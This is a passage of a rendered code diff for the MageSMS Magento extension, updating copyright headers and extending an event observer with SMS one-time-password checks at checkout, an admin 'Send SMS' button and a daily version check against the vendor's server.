  */
16
  class Topefekt_Magesms_Model_Mysql4_Template_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/template'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Template_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/template'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Textsender.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Textsender extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/textsender', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Textsender extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/textsender', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Textsender/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Textsender_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/textsender'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Textsender_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/textsender'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Variables.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Variables extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/variables', 'id'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Variables extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/variables', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Variables/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Variables_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/variables'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Variables_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/variables'); } }
app/code/community/Topefekt/Magesms/Model/Observer.php CHANGED
@@ -10,7 +10,37 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Model_Observer { public function updateOrderTrackingNumber(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { $i5e65dd16263683749d16a84171f719e768ed14b5 = $i417760717250c854293598d2ff07a66629a1946d->getEvent()->getTrack(); if ($i5e65dd16263683749d16a84171f719e768ed14b5->hasDataChanges() && ($i5e65dd16263683749d16a84171f719e768ed14b5->getData('created_at') == $i5e65dd16263683749d16a84171f719e768ed14b5->getData('updated_at') || $i5e65dd16263683749d16a84171f719e768ed14b5->dataHasChangedFor('track_number'))) { if (Mage::registry('magesms_track_obj')) Mage::unregister('magesms_track_obj'); Mage::register('magesms_track_obj', $i5e65dd16263683749d16a84171f719e768ed14b5); Mage::getSingleton('magesms/hooks')->send('updateOrderTrackingNumber', $i5e65dd16263683749d16a84171f719e768ed14b5->getShipment()->getOrder()); } return $this; } public function newOrder(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::helper('magesms')->isActive()) return $this; if ($i417760717250c854293598d2ff07a66629a1946d->getEvent()->getOrder()->getRelationParentId()) { Mage::register('magesms_edit_order', true, true); return $this; } $i69a1201e93806d55c970dfb18feec53d221ba37b = Mage::helper('magesms')->getOptoutProduct(); if ($i69a1201e93806d55c970dfb18feec53d221ba37b) { $if80f0cbea56595a4489db73147386c11bb406a7e = $i417760717250c854293598d2ff07a66629a1946d->getEvent()->getOrder(); $i705fa7c9639d497e1179d7d5691c212668a8c9c8 = $if80f0cbea56595a4489db73147386c11bb406a7e->getQuote()->getItemByProduct($i69a1201e93806d55c970dfb18feec53d221ba37b); if (!$i705fa7c9639d497e1179d7d5691c212668a8c9c8) { $ib8129b89cda7dae2cfe1b114353de8ba2385974e = Mage::getModel('magesms/optout_order'); $ib8129b89cda7dae2cfe1b114353de8ba2385974e->setOrderId($if80f0cbea56595a4489db73147386c11bb406a7e->getId())->setDisabled(1); $ib8129b89cda7dae2cfe1b114353de8ba2385974e->save(); } } Mage::getSingleton('magesms/hooks')->send('newOrder', $i417760717250c854293598d2ff07a66629a1946d->getOrder()); return $this; } public function updateOrderStatus(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (Mage::registry('magesms_edit_order')) return $this; if ($i417760717250c854293598d2ff07a66629a1946d->getOrder()->getOrigData('status') != $i417760717250c854293598d2ff07a66629a1946d->getOrder()->getData('status')) { Mage::getSingleton('magesms/hooks')->send('updateOrderStatus', $i417760717250c854293598d2ff07a66629a1946d->getOrder()); } return $this; } public function createCreditMemo(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { Mage::getSingleton('magesms/hooks')->send('createCreditMemo', $i417760717250c854293598d2ff07a66629a1946d); return $this; } public function customerRegisterSuccess(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { Mage::getSingleton('magesms/hooks')->send('customerRegisterSuccess', $i417760717250c854293598d2ff07a66629a1946d['customer']); return $this; } public function productStock(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { $i5e65dd16263683749d16a84171f719e768ed14b5 = $i417760717250c854293598d2ff07a66629a1946d->getEvent()->getItem(); if ($i5e65dd16263683749d16a84171f719e768ed14b5->getManageStock()) { if (!($i34b2041d68b0c6d2dfd61d3d36f96caad687688c = Mage::registry('magesms_stock_item_'.$i5e65dd16263683749d16a84171f719e768ed14b5->getProductId()))) { $i34b2041d68b0c6d2dfd61d3d36f96caad687688c = $i5e65dd16263683749d16a84171f719e768ed14b5->getOrigData(); } if (!$i34b2041d68b0c6d2dfd61d3d36f96caad687688c) return $this; if ($i5e65dd16263683749d16a84171f719e768ed14b5->hasDataChanges()) { if ($i34b2041d68b0c6d2dfd61d3d36f96caad687688c['qty'] > 0 && $i5e65dd16263683749d16a84171f719e768ed14b5->getQty() <= 0) Mage::getSingleton('magesms/hooks')->send('productOutOfStock', $i5e65dd16263683749d16a84171f719e768ed14b5); if ($i5e65dd16263683749d16a84171f719e768ed14b5->getNotifyStockQty() > $i5e65dd16263683749d16a84171f719e768ed14b5->getQty() && $i34b2041d68b0c6d2dfd61d3d36f96caad687688c['qty'] >= $i5e65dd16263683749d16a84171f719e768ed14b5->getNotifyStockQty()) Mage::getSingleton('magesms/hooks')->send('productLowStock', $i5e65dd16263683749d16a84171f719e768ed14b5); } } return $this; } public function contactForm(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::helper('magesms')->isActive()) return $this; Mage::getSingleton('magesms/hooks')->send('contactForm', $i417760717250c854293598d2ff07a66629a1946d); return $this; } public function cartAddProductAddOptout(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::helper('magesms')->isActive()) return $this; Mage::helper('magesms')->addOptoutProduct(true); return $this; } public function cartRemoveProductClearOptout(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::helper('magesms')->isActive()) return $this; Mage::helper('magesms')->removeOptoutProduct(true); return $this; } public function lockSkuAttribute(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::helper('magesms')->isActive()) return $this; $ic010a5d08128ec6abcd0a1a16cb1d8abe7bf2142 = Mage::getConfig()->getNode('default/config/optout')->sku; $i7fff76b02be2f63877a1782ca871e62a287fa16f = $i417760717250c854293598d2ff07a66629a1946d->getEvent(); $i69a1201e93806d55c970dfb18feec53d221ba37b = $i7fff76b02be2f63877a1782ca871e62a287fa16f->getProduct(); if ($i69a1201e93806d55c970dfb18feec53d221ba37b->getSku() == $ic010a5d08128ec6abcd0a1a16cb1d8abe7bf2142) $i69a1201e93806d55c970dfb18feec53d221ba37b->lockAttribute('sku'); return $this; } public function cronUpdate() { if (!Mage::helper('magesms')->isActive()) return $this; $i36c92dc65e84acd6954001035d3b86efb10057bf = Mage::app()->loadCache('magesms_update_lastcheck'); $idef7cbe5fc44de57058ffe420bace11327a9b243 = 24 * 3600; if (($idef7cbe5fc44de57058ffe420bace11327a9b243 + $i36c92dc65e84acd6954001035d3b86efb10057bf) > time()) { return $this; } $i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getSingleton('magesms/smsprofile'); $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=showlastversion&username='.urlencode($i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->user); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if (!empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720) && !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0])) { if (version_compare($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0], Mage::getConfig()->getModuleConfig('Topefekt_Magesms')->version) > 0) { Mage::app()->saveCache($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0], 'magesms_update_available'); Mage::log("MageSms cron - new version {$i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0]} available"); } else Mage::app()->saveCache('', 'magesms_update_available'); } Mage::app()->saveCache(time(), 'magesms_update_lastcheck'); Mage::getSingleton('magesms/routes')->updatepricelist(); Mage::getSingleton('magesms/exceptions')->updateData(); return $this; } }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Model_Observer { public function updateOrderTrackingNumber(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { $i5e65dd16263683749d16a84171f719e768ed14b5 = $i417760717250c854293598d2ff07a66629a1946d->getEvent()->getTrack(); if ($i5e65dd16263683749d16a84171f719e768ed14b5->hasDataChanges() && ($i5e65dd16263683749d16a84171f719e768ed14b5->getData('created_at') == $i5e65dd16263683749d16a84171f719e768ed14b5->getData('updated_at') || $i5e65dd16263683749d16a84171f719e768ed14b5->dataHasChangedFor('track_number')) ) { if (Mage::registry('magesms_track_obj')) Mage::unregister('magesms_track_obj'); Mage::register('magesms_track_obj', $i5e65dd16263683749d16a84171f719e768ed14b5); Mage::getSingleton('magesms/hooks')->send('updateOrderTrackingNumber', $i5e65dd16263683749d16a84171f719e768ed14b5->getShipment()->getOrder()); } return $this; } public function newOrder(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::helper('magesms')->isActive()) return $this; if ($i417760717250c854293598d2ff07a66629a1946d->getEvent()->getOrder()->getRelationParentId()) { Mage::register('magesms_edit_order', true, true); return $this; } $i69a1201e93806d55c970dfb18feec53d221ba37b = Mage::helper('magesms')->getOptoutProduct(); if ($i69a1201e93806d55c970dfb18feec53d221ba37b) { $if80f0cbea56595a4489db73147386c11bb406a7e = $i417760717250c854293598d2ff07a66629a1946d->getEvent()->getOrder(); $i705fa7c9639d497e1179d7d5691c212668a8c9c8 = $if80f0cbea56595a4489db73147386c11bb406a7e->getQuote()->getItemByProduct($i69a1201e93806d55c970dfb18feec53d221ba37b); if (!$i705fa7c9639d497e1179d7d5691c212668a8c9c8) { $ib8129b89cda7dae2cfe1b114353de8ba2385974e = Mage::getModel('magesms/optout_order'); $ib8129b89cda7dae2cfe1b114353de8ba2385974e->setOrderId($if80f0cbea56595a4489db73147386c11bb406a7e->getId())->setDisabled(1); $ib8129b89cda7dae2cfe1b114353de8ba2385974e->save(); } } Mage::getSingleton('magesms/hooks')->send('newOrder', $i417760717250c854293598d2ff07a66629a1946d->getOrder()); return $this; } public function updateOrderStatus(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (Mage::registry('magesms_edit_order')) return $this; if ($i417760717250c854293598d2ff07a66629a1946d->getOrder()->getOrigData('status') != $i417760717250c854293598d2ff07a66629a1946d->getOrder()->getData('status')) { Mage::getSingleton('magesms/hooks')->send('updateOrderStatus', $i417760717250c854293598d2ff07a66629a1946d->getOrder()); } return $this; } public function createCreditMemo(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { Mage::getSingleton('magesms/hooks')->send('createCreditMemo', $i417760717250c854293598d2ff07a66629a1946d); return $this; } public function customerRegisterSuccess(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { Mage::getSingleton('magesms/hooks')->send('customerRegisterSuccess', $i417760717250c854293598d2ff07a66629a1946d['customer']); return $this; } public function productStock(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { $i5e65dd16263683749d16a84171f719e768ed14b5 = $i417760717250c854293598d2ff07a66629a1946d->getEvent()->getItem(); if ($i5e65dd16263683749d16a84171f719e768ed14b5->getManageStock()) { if (!($i34b2041d68b0c6d2dfd61d3d36f96caad687688c = Mage::registry('magesms_stock_item_' . $i5e65dd16263683749d16a84171f719e768ed14b5->getProductId()))) { $i34b2041d68b0c6d2dfd61d3d36f96caad687688c = $i5e65dd16263683749d16a84171f719e768ed14b5->getOrigData(); } if (!$i34b2041d68b0c6d2dfd61d3d36f96caad687688c) return $this; if ($i5e65dd16263683749d16a84171f719e768ed14b5->hasDataChanges()) { if ($i34b2041d68b0c6d2dfd61d3d36f96caad687688c['qty'] > 0 && $i5e65dd16263683749d16a84171f719e768ed14b5->getQty() <= 0) Mage::getSingleton('magesms/hooks')->send('productOutOfStock', $i5e65dd16263683749d16a84171f719e768ed14b5); if ($i5e65dd16263683749d16a84171f719e768ed14b5->getNotifyStockQty() > $i5e65dd16263683749d16a84171f719e768ed14b5->getQty() && $i34b2041d68b0c6d2dfd61d3d36f96caad687688c['qty'] >= $i5e65dd16263683749d16a84171f719e768ed14b5->getNotifyStockQty()) Mage::getSingleton('magesms/hooks')->send('productLowStock', $i5e65dd16263683749d16a84171f719e768ed14b5); } } return $this; } public function contactForm(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::helper('magesms')->isActive()) return $this; Mage::getSingleton('magesms/hooks')->send('contactForm', $i417760717250c854293598d2ff07a66629a1946d); return $this; } public function cartAddProductAddOptout(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::helper('magesms')->isActive()) return $this; Mage::helper('magesms')->addOptoutProduct(true); return $this; } public function cartRemoveProductClearOptout(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::helper('magesms')->isActive()) return $this; Mage::helper('magesms')->removeOptoutProduct(true); return $this; } public function lockSkuAttribute(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::helper('magesms')->isActive()) return $this; $ic010a5d08128ec6abcd0a1a16cb1d8abe7bf2142 = Mage::getConfig()->getNode('default/config/optout')->sku; $i7fff76b02be2f63877a1782ca871e62a287fa16f = $i417760717250c854293598d2ff07a66629a1946d->getEvent(); $i69a1201e93806d55c970dfb18feec53d221ba37b = $i7fff76b02be2f63877a1782ca871e62a287fa16f->getProduct(); if ($i69a1201e93806d55c970dfb18feec53d221ba37b->getSku() == $ic010a5d08128ec6abcd0a1a16cb1d8abe7bf2142) $i69a1201e93806d55c970dfb18feec53d221ba37b->lockAttribute('sku'); return $this; } public function checkoutOrderOTP(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (Mage::app()->getStore()->isAdmin()) return $this; if (Mage::app()->getRequest()->getControllerModule() != 'Mage_Checkout') return $this; if (strpos($i417760717250c854293598d2ff07a66629a1946d->getEvent()->getBlock()->getTemplate(), 'button.phtml') === false) return $this; if (!Mage::helper('magesms')->isActive() || !Mage::helper('magesms')->getOtpOrderType()) return $this; if (strpos($i417760717250c854293598d2ff07a66629a1946d->getEvent()->getTransport()->getHtml(), 'review.save()') !== false) { $id82aaf2f437652c4b6efbd55703199f614e8e516 = $i417760717250c854293598d2ff07a66629a1946d->getEvent()->getTransport()->getHtml(); $id82aaf2f437652c4b6efbd55703199f614e8e516 = str_replace('review.save()', 'showMagesmsPopup(magesmsValidUrl)', $id82aaf2f437652c4b6efbd55703199f614e8e516); $i417760717250c854293598d2ff07a66629a1946d->getEvent()->getTransport()->setHtml($id82aaf2f437652c4b6efbd55703199f614e8e516); } return $this; } public function checkoutCustomerOTP(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (Mage::app()->getStore()->isAdmin()) return $this; if (Mage::app()->getRequest()->getControllerModule() != 'Mage_Checkout') return $this; if (strpos($i417760717250c854293598d2ff07a66629a1946d->getEvent()->getBlock()->getTemplate(), 'onepage/billing.phtml') === false) return $this; if (!Mage::helper('magesms')->isActive() || !Mage::helper('magesms')->getOtpCheckoutCustomerType()) return $this; $i30f20aafde612a957f7f966cb5b85e35782bc88a = Mage::helper('magesms')->getOtpCheckoutCustomerType(); $id82aaf2f437652c4b6efbd55703199f614e8e516 = $i417760717250c854293598d2ff07a66629a1946d->getEvent()->getTransport()->getHtml(); $i3358fd35282548f1f8ccafbf23d60a4ade466fd3 = "Translator.add('OTP SMS','".Mage::helper('magesms')->__('OTP SMS')."');"; $i3358fd35282548f1f8ccafbf23d60a4ade466fd3 .= "var magesmsValidUrl = '".Mage::getUrl('magesms/validate/checkout', array('_secure' => true))."';"; $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = '1'; if ($i30f20aafde612a957f7f966cb5b85e35782bc88a == 2) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = 'checkout.method == "register"'; elseif ($i30f20aafde612a957f7f966cb5b85e35782bc88a == 3) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = 'checkout.method == "guest"'; $i3358fd35282548f1f8ccafbf23d60a4ade466fd3 .= '
17
+ Billing.prototype.save = function() {
18
+ if (checkout.loadWaiting!=false) return;
19
+
20
+ var validator = new Validation(this.form);
21
+ if (validator.validate()) {
22
+ if ('.$i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e.' && this.otpValid != true)
23
+ showMagesmsPopup(magesmsValidUrl);
24
+ else
25
+ this.saveOTP();
26
+ }
27
+ }
28
+ Billing.prototype.saveOTP = function() {
29
+ if (checkout.loadWaiting!=false) return;
30
+
31
+ var validator = new Validation(this.form);
32
+ if (validator.validate()) {
33
+ checkout.setLoadWaiting(\'billing\');
34
+ var request = new Ajax.Request(
35
+ this.saveUrl,
36
+ {
37
+ method: \'post\',
38
+ onComplete: this.onComplete,
39
+ onSuccess: this.onSave,
40
+ onFailure: checkout.ajaxFailure.bind(checkout),
41
+ parameters: Form.serialize(this.form)
42
+ }
43
+ );
44
+ }
45
+ }
46
+ '; $id82aaf2f437652c4b6efbd55703199f614e8e516 .= Mage::helper('core/js')->getScript($i3358fd35282548f1f8ccafbf23d60a4ade466fd3); $i417760717250c854293598d2ff07a66629a1946d->getEvent()->getTransport()->setHtml($id82aaf2f437652c4b6efbd55703199f614e8e516); return $this; } public function newOrderOTP(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::helper('magesms')->isActive()) return $this; if (!Mage::helper('magesms')->getOtpOrderType() && !Mage::helper('magesms')->getOtpCheckoutCustomerType()) return $this; $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('customer/session'); $i0976f5605544699720131549492b103937131569 = Mage::helper('magesms')->getOtpCheckoutCustomerType(); if ($i0976f5605544699720131549492b103937131569 == 3 && !$i417760717250c854293598d2ff07a66629a1946d->getEvent()->getOrder()->getCustomerIsGuest()) return $this; if ($i0976f5605544699720131549492b103937131569 == 3 && !$i417760717250c854293598d2ff07a66629a1946d->getEvent()->getOrder()->getCustomerIsGuest()) return $this; if (!$i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_time')) return $this; if (!$i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate')) { $id567d29153b9150b8add34bc81058cd5432e46a0 = array(); $id567d29153b9150b8add34bc81058cd5432e46a0['success'] = false; $id567d29153b9150b8add34bc81058cd5432e46a0['error'] = true; $id567d29153b9150b8add34bc81058cd5432e46a0['error_messages'] = Mage::helper('magesms')->__('Wrong OTP code'); echo Mage::helper('core')->jsonEncode($id567d29153b9150b8add34bc81058cd5432e46a0); exit; } else { $i0e3e80cee9c51f140b823db0b7df66493acca657->unsetData('magesms_validate_time'); $i0e3e80cee9c51f140b823db0b7df66493acca657->unsetData('magesms_validate'); } return $this; } public function adminhtmlWidgetContainerHtmlBefore(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $i417760717250c854293598d2ff07a66629a1946d->getBlock(); if ($i8ee45e0018a32fb1a855b82624506e35789cc4d2 instanceof Mage_Adminhtml_Block_Sales_Order_View || $i8ee45e0018a32fb1a855b82624506e35789cc4d2 instanceof Mage_Adminhtml_Block_Customer_Edit) { if (!Mage::helper('magesms')->isActive()) return $this; if ($i8ee45e0018a32fb1a855b82624506e35789cc4d2 instanceof Mage_Adminhtml_Block_Sales_Order_View) { $i19fc00f17cfbd9450ca7a66ef9471072f8709ccb = $i8ee45e0018a32fb1a855b82624506e35789cc4d2->getOrder()->getBillingAddress(); if (!$i19fc00f17cfbd9450ca7a66ef9471072f8709ccb) return $this; $id80f585d034617be5374dc980d71c1f97c179be2 = $i8ee45e0018a32fb1a855b82624506e35789cc4d2->getOrder()->getShippingAddress(); if (!$id80f585d034617be5374dc980d71c1f97c179be2) return $this; } else { $i77d22463fc16d92f418e384077adc971e57f8cd8 = Mage::registry('current_customer'); $i19fc00f17cfbd9450ca7a66ef9471072f8709ccb = $i77d22463fc16d92f418e384077adc971e57f8cd8->getDefaultBillingAddress(); $id80f585d034617be5374dc980d71c1f97c179be2 = $i77d22463fc16d92f418e384077adc971e57f8cd8->getDefaultShippingAddress(); if (!$id80f585d034617be5374dc980d71c1f97c179be2) return $this; } if (!$i19fc00f17cfbd9450ca7a66ef9471072f8709ccb && !$id80f585d034617be5374dc980d71c1f97c179be2) return $this; elseif ($i19fc00f17cfbd9450ca7a66ef9471072f8709ccb && !$id80f585d034617be5374dc980d71c1f97c179be2) $id80f585d034617be5374dc980d71c1f97c179be2 = $i19fc00f17cfbd9450ca7a66ef9471072f8709ccb; elseif (!$i19fc00f17cfbd9450ca7a66ef9471072f8709ccb && $id80f585d034617be5374dc980d71c1f97c179be2) $i19fc00f17cfbd9450ca7a66ef9471072f8709ccb = $id80f585d034617be5374dc980d71c1f97c179be2; $i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getSingleton('magesms/smsprofile'); if (!$i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->getPrefbilling()) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i19fc00f17cfbd9450ca7a66ef9471072f8709ccb->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i19fc00f17cfbd9450ca7a66ef9471072f8709ccb->getCountryId(); if (empty($i1f1945594819c4321de45ac15ed6d4dc07f41e2f) || !preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $id80f585d034617be5374dc980d71c1f97c179be2->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $id80f585d034617be5374dc980d71c1f97c179be2->getCountryId(); } } else { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $id80f585d034617be5374dc980d71c1f97c179be2->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $id80f585d034617be5374dc980d71c1f97c179be2->getCountryId(); if (empty($i1f1945594819c4321de45ac15ed6d4dc07f41e2f) || !preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i19fc00f17cfbd9450ca7a66ef9471072f8709ccb->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i19fc00f17cfbd9450ca7a66ef9471072f8709ccb->getCountryId(); } } if (empty($i1f1945594819c4321de45ac15ed6d4dc07f41e2f) || !preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) return $this; $i854b57231c05dbaa7f22331dbaed4152a402d2f1 = new Zend_Locale_Data(); $i065c883e3f45e58104d21f8196ee3fe9bd2f513d = $i854b57231c05dbaa7f22331dbaed4152a402d2f1->getList('en-EN', 'phonetoterritory'); $if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd = ''; if ($idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b && $i065c883e3f45e58104d21f8196ee3fe9bd2f513d[$idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b] && !(strpos($i1f1945594819c4321de45ac15ed6d4dc07f41e2f, '+') === 0 || strpos($i1f1945594819c4321de45ac15ed6d4dc07f41e2f, '00') === 0)) { if (strpos($i1f1945594819c4321de45ac15ed6d4dc07f41e2f, '0') === 0) $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = substr($i1f1945594819c4321de45ac15ed6d4dc07f41e2f, 1); $if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd = $i065c883e3f45e58104d21f8196ee3fe9bd2f513d[$idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b]; } $i813c950729f632ca03f8c203c0a769de5e8bdf29 = Mage::helper('magesms')->prepareNumber($i1f1945594819c4321de45ac15ed6d4dc07f41e2f, Topefekt_Magesms_Model_Sms::TYPE_SIMPLE, $if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd); if (empty($i813c950729f632ca03f8c203c0a769de5e8bdf29['mobile'])) return $this; $i8ee45e0018a32fb1a855b82624506e35789cc4d2->addButton('magesms_send_sms', array( 'label' => Mage::helper('magesms')->__('Send SMS'), 'onclick' => "setLocation('".Mage::helper("adminhtml")->getUrl('*/magesms_sendsms', array('recipients' => $i813c950729f632ca03f8c203c0a769de5e8bdf29['mobile']))."')", 'class' => 'go' )); } return $this; } public function cronUpdate() { if (!Mage::helper('magesms')->isActive()) return $this; $i36c92dc65e84acd6954001035d3b86efb10057bf = Mage::app()->loadCache('magesms_update_lastcheck'); $idef7cbe5fc44de57058ffe420bace11327a9b243 = 24 * 3600; if (($idef7cbe5fc44de57058ffe420bace11327a9b243 + $i36c92dc65e84acd6954001035d3b86efb10057bf) > time()) { return $this; } $i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getSingleton('magesms/smsprofile'); $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=showlastversion&username=' . urlencode($i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->user); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if (!empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720) && !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0])) { if (version_compare($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0], Mage::getConfig()->getModuleConfig('Topefekt_Magesms')->version) > 0) { 